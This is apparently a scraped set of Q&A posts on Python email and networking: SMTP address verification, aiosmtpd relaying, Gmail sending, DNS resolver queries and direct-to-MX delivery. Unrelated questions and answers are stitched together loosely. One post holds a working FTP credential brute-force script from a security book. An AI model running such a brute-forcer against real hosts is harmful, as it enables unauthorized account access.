First off.. excuse my complete noobness when it comes to DNS protocols.
Im trying to use python to verify if email exists (using this code as base)
import re
import smtplib
import dns.resolver
# Address used for SMTP MAIL FROM command
fromAddress = 'corn#bt.com'
# Simple Regex for syntax checking
regex = '^[_a-z0-9-]+(\.[_a-z0-9-]+)*#[a-z0-9-]+(\.[a-z0-9-]+)*(\.[a-z]{2,})$'
# Email address to verify
inputAddress = input('Please enter the emailAddress to verify:')
addressToVerify = str(inputAddress)
# Syntax check
match = re.match(regex, addressToVerify)
if match == None:
print('Bad Syntax')
raise ValueError('Bad Syntax')
# Get domain for DNS lookup
splitAddress = addressToVerify.split('#')
domain = str(splitAddress[1])
print('Domain:', domain)
# MX record lookup
records = dns.resolver.query(domain, 'MX')
mxRecord = records[0].exchange
mxRecord = str(mxRecord)
# SMTP lib setup (use debug level for full output)
server = smtplib.SMTP()
server.set_debuglevel(0)
# SMTP Conversation
server.connect(mxRecord)
server.helo(server.local_hostname) ### server.local_hostname(Get local server hostname)
server.mail(fromAddress)
code, message = server.rcpt(str(addressToVerify))
server.quit()
#print(code)
#print(message)
# Assume SMTP response 250 is success
if code == 250:
print('Success')
else:
print('Bad')
This works fine on a Digitalocean VPS server
But this code doesnt work on local machine (timeout error). So I thought it's a port issue, however port 25 isn't open on my server.
So I took the string value of server.local_hostname (which , by the way.. isn't my domain.. AND i haven't config'd an STMP .. AND as I mentioned before, I haven't opened up port 25) and run it on my local machine, i still get time out error.
1) There's something I must not be understanding when it comes to DNS protocol.. any ideas?
2) If there's some DNS protocol happening between SMTP servers, is it possible to use a proxy server to validate email?
It is impossible to verify that an e-mail address exists.
Plenty of servers will accept mail to any address and discard from there. Many addresses are aliases for others. Certainly, there isn't some magic DNS record that tells you whether or not a particular e-mail address exists. That would be simply inviting spam from people who scrape DNS records to spam people.
Related
I have setup a local SMTP server with aiosmtpd where I received emails after setting the proper DNS records:
mail.mydomain.com A 1 minute 1.2.3.4
mydomain.com MX 1 minute 10 mail.mydomain.com.
Just running aiosmtpd in the command line is enough to receive emails:
python.exe -m smtpd -c DebuggingServer -n 0.0.0.0:25
The problem is now sending emails which for whatever reason seems not to work. I have set the SPF record this way:
mydomain.com TXT 1 minute "v=spf1 a mx include: mydomain.com ~all"
I have tried with this too:
mydomain.com TXT 1 minute "v=spf1 ip4:1.2.3.4 ~all"
I'm using this code to send the email while the SMTP server is running:
import smtplib
sender = 'from#mydomain.com'
receivers = ['to#mydomain.com']
message = """From: From Person <from#mydomain.com>
To: To Person <to#mydomain.com>
Subject: SMTP e-mail test
This is a test e-mail message.
"""
try:
smtpObj = smtplib.SMTP('127.0.0.1')
smtpObj.sendmail(sender, receivers, message)
print ("Successfully sent email")
except smtplib.SMTPException:
print ("Error: unable to send email")
I have tried to add as destination email my #gmail.com email address too but I don't get anything.
I can see that the email is sent to the SMTP server but I don't get the email back:
---------- MESSAGE FOLLOWS ----------
b'From: From Person <from#mydomain.com>'
b'To: To Person <to#mydomain.com>'
b'Subject: SMTP e-mail test'
b'X-Peer: 127.0.0.1'
b''
b'This is a test e-mail message.'
------------ END MESSAGE ------------
Any idea on what am I doing wrong?
Generally, email is sent on the internet from email clients connecting to mail transfer agents (MTAs) that relay emails to mail delivery agents (MDAs) that store the email for the recipient to read. That is, GMail operates both as an MTA for its users, relaying GMail users' emails to remote mail servers, and as an MDA that receives emails slated for delivery to its users' mailboxes. Emails are transferred between servers using the SMTP protocol, and aiosmtpd is an implementation of the server-end of the SMTP protocol, whereas the built-in smtplib module is an implementation of the client-end.
When you run aiosmtpd in its default configuration, it is simply a dumb SMTP server that receives emails and spits them out on the terminal without relaying them or storing them. That is to say, aiosmtpd by itself is not an MTA or an MDA, unless you write code that implements storage of email (e.g. using the 'mailbox' built-in module), or you write code that implements relaying of email.
When you use the SMTP client smtplib.SMTP() to connect to 127.0.0.1, you are simply connecting to aiosmtpd, which won't do anything interesting with the email that you give it (unless you add code that does something interesting).
If you want to send email to remote email providers, e.g. GMail, then you need to either submit the email to a fixed MTA, or you need to implement the relaying mechanism yourself using DNS lookups.
If all you need is a simple MTA to relay email to remote hosts, then you don't need aiosmtpd or any other kind of Python programming - postfix is an excellent choice. Further reading: aiosmtpd is not an MTA
If you want to implement the relaying mechanism yourself, then you need to look up the MX record for the recipient's address (e.g. gmail.com) and then instruct smtplib.SMTP to connect to the host specified in the MX record. However, I wouldn't recommend trying to do this, as there are many pitfalls and cases to consider. For example - what to do if there are multiple MX records or no MX records at all. Furthermore, the remote SMTP server might not respond, or it may respond with a 4xx or 5xx error code, in which case you need to take appropriate action and retry at a later time.
Using my gmail account as a test for sending mail using python. It appears the mail is getting sent (or at least passes over the mail server) but it is not being received. I cannot seem to find any logs that would allow me to trace the email (Using Linux Mint 20). First question is where can I find these logs? Secondly, does anything in this script seem incorrect? Please assume that the data is correctly populated. My gmail account is set to allow less secure apps as well.
with open("config.json",) as config:
data = json.load(config)
smtp_server = data["MAIL"]["SMTP_SERVER"]
port = data["MAIL"]["SMTP_PORT"]
sender_email = data["MAIL"]["SMTP_ACCOUNT"]
password = data["MAIL"]["SMTP_PASSWORD"]
context = ssl.create_default_context()
try:
server = smtplib.SMTP(smtp_server,port)
server.ehlo()
server.starttls(context=context)
server.ehlo()
server.login(sender_email,password)
return server
except Exception as e:
print(e)
return None
I am trying to send a dns query to an specific dns resolver in python.
Here is my code to set my resolver and sending my dns query to find the ip address of my domain name:
import dns.resolver #import the module
myResolver = dns.resolver.Resolver()
myResolver.nameservers = ['my resolver ip address']
myResolver.port = 5300#port number of resolver listening to dns queries
myAnswers = myResolver.query("google.com")
print myAnswers
This code works very well when I receive just one response from the resolver. The response can has multiple ip addresses and that is ok too. The question is that, my dns resolver has been configured to send multiple response to a A dns query and I need to receive first, second and third one and check them and if one of them passed my checks, print the response in the console.
My problem is that I do not know how can I get multiple responses with myAnswers = myResolver.query("google.com") command. Because this command return the response and save that in myAnswer. I know I should use multithreading and listen to incoming responses from my dns resolver. But I do not know how I can run my thread with this command,myAnswers = myResolver.query("mytargetdomain.com",'a')?
Thanks.
I was running this code:
import ftplib
def bruteLogin(hostname, passwdFile):
pF = open(passwdFile, 'r')
ftp = ftplib.FTP(hostname)
for line in pF.readlines():
userName, passWord = line.split(':', 1)
passWord = passWord.strip('\r\n') # strip any of the two characters
print("[+] Trying: {}/{}".format(userName, passWord))
try:
ftp.login(userName, passWord)
except ftplib.error_perm:
continue
else:
print('\n[*] {} FTP Logon Succeeded: {}/{}'.format(hostname, userName, passWord))
ftp.quit()
return userName, passWord
print('\n[-] Could not brute force FTP credentials.')
return None, None
host = '192.168.95.179'
passwdFile = 'C:/Users/Karrigan/Documents/Python Stuff/userpass.txt'
bruteLogin(host, passwdFile)
And I got an error:
[WinError 10061] No connection could be made because the target machine actively refused it
However, when running a similar version of this code earlier this morning, this error did not occur, but that might not be relevant. What could cause this? (Also, that IP is an example provided from the book Violent Python)
Generally that error message means you're getting blocked by a firewall, or the target machine isn't listening on that port.
So, if it was working earlier, then either someone turned on a firewall or stopped the process listening on that port.
This is because you are trying to send email using your localhost as mail-server.
In development process and if you do not have a mail server setup, and you want to fake sending emails using your local machine, so you have to fake it.
In other words:
Looks like you are trying to send a mail (send_mail()) and your mail settings in your settings.py are not correct.
For debugging purposes you could setup a local smtpserver with this command:
python -m smtpd -n -c DebuggingServer localhost:1025
and adjust your mail settings accordingly:
EMAIL_HOST = 'localhost'
EMAIL_PORT = 1025
I've tried playing around in python to learn more about the smtp protocol. More precisely I'm been trying to send a mail straight to a host's smtp server, but with little success.
For example, say I want to send a mail to a gmail.com address, I lookup the mx record for gmail.com:
>> nslookup -type=MX gmail.com
gmail.com MX preference = 40, mail exchanger = alt4.gmail-smtp-in.l.google.com
gmail.com MX preference = 5, mail exchanger = gmail-smtp-in.l.google.com
gmail.com MX preference = 10, mail exchanger = alt1.gmail-smtp-in.l.google.com
Then I do the following in python:
import smtplib
# Tried both port 465 and 587 (can't test port 25 since it's blocked by my ISP)
s = smtplib.SMTP("alt1.gmail-smtp-in.l.google.com", 587)
I tried several, and for everyone but one I always got a:
"[Errno 10051] A socket operation was attempted to an unreachable network" or
"[Errno 10060] A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because conneted host has failed to respond" exception.
I read somewhere that some mail servers do a reverse lookup on your IP, and rejecting the connection if it hasn't got a domain. How do they do that?
I also read somewhere that many mail servers reject incoming mails from dynamic IP addresses (which I obviously have as a private customer to my ISP). How can they check if an IP address is dynamic or static?
Are these the reasons most servers seem to reject my connection? Or is there something more to it?
Um, your problem is exactly this:
# Tried both port 465 and 587 (can't test port 25 since it's blocked by my ISP)
Google's MX server is listening on port 25. If your ISP does not allow outgoing connections on this port, then you will not be able to send SMTP messages the way you are trying to do. You should get this sorted out with your ISP.
Regarding the rejection of messages, sending e-mail directly like this does increase the likelihood that it will be rejected or flagged as spam. Particularly if you set the "from" address to something that does not match the domain associated with your IP address, or if your SMTP client sends a mismatched domain in its EHLO message, or if the content of your message looks "spammy". The actual behavior will vary according to how each individual MX server has been configured.
Direct to MX email like you describe above will be blocked by Gmail's SMTP servers, with an error message "421-4.7.0", however many other SMTP severs, like MailEnable will allow Direct To MX.
The following website has source code for .NET and PHP for Direct to MX code, http://www.directtomx.com - you may be able to consume the webservice in python using SUDS.